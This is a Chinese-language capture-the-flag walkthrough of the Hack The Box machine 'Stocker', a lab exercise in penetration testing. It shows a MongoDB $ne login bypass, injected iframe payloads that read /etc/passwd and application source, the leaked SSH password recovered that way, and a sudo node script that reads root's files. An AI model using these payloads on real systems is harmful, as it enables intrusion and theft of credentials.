Stocker HTB Writeup
2023-03-03 本文已影响0人
doinb1517
logo.png
3.png
考点
1、MongoDB注入
2、XSS
3、Sudo提权
4、子域名收集
题解
确认网络没问题,也可以和靶机ping通
1.png 2.png直接nmap常规扫一波
找到两个开放端口80和22
3.png
直接访问80端口,没有任何信息,得到一个域名stocker.htb
思路是对80端口来一波目录扫描,没有任何收获
5.png换个思路对我们刚才得到的域名做子域名爆破
找到一个子域名的登陆页面
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
tips:如果没有seclists可以使用下面的命令安装
cd /usr/share
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip
6.png
写入hosts文件访问登陆页面
echo 10.10.11.196 dev.stocker.htb >> /etc/hosts
访问dev.stocker.htb
看到一个登陆页面
试了几个弱密码之后没有效果,同时在跑的子域名路径爆破也没有效果,只能找找wp康康了。。。。
Content-Type: application/json
{"username":{"$ne":"admin"}, "password":{"$ne":"pass"}}
8.png
这里的考点应该是Mongodb注入,后端数据库可能是Mongodb(后来我们看到确实是Mongodb)
link:https://www.mongodb.com/docs/manual/reference/operator/query/ne/
link2:https://www.secpulse.com/archives/3278.html
13.png浏览器访问/stock
看到一个购买页面
9.png随便买几件商品,提交订单,会返回订单号,访问订单页面
10.png 11.png既然我们提交的数据会被展示出来考虑xss
12.png写入以下xxs payload,可以实现信息泄露
<iframe src=/etc/passwd></iframe>
14.png
读取js文件
<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>
找到用户名和密码
username: angoose
Password: IHeardPassphrasesArePrettySecure
使用该密码登陆到ssh
15.png查看用户
16.png得到第一个user Flag
18.png尝试提权,使用sudo提权
17.png上网站复制一条读取文件指令 允许我们使用下面的命令,编写js代码
19.png简单修改下,我们读取的文件
process.stdout.write(require("fs").readFileSync("/root/root.txt"))
20.png
获取flag成功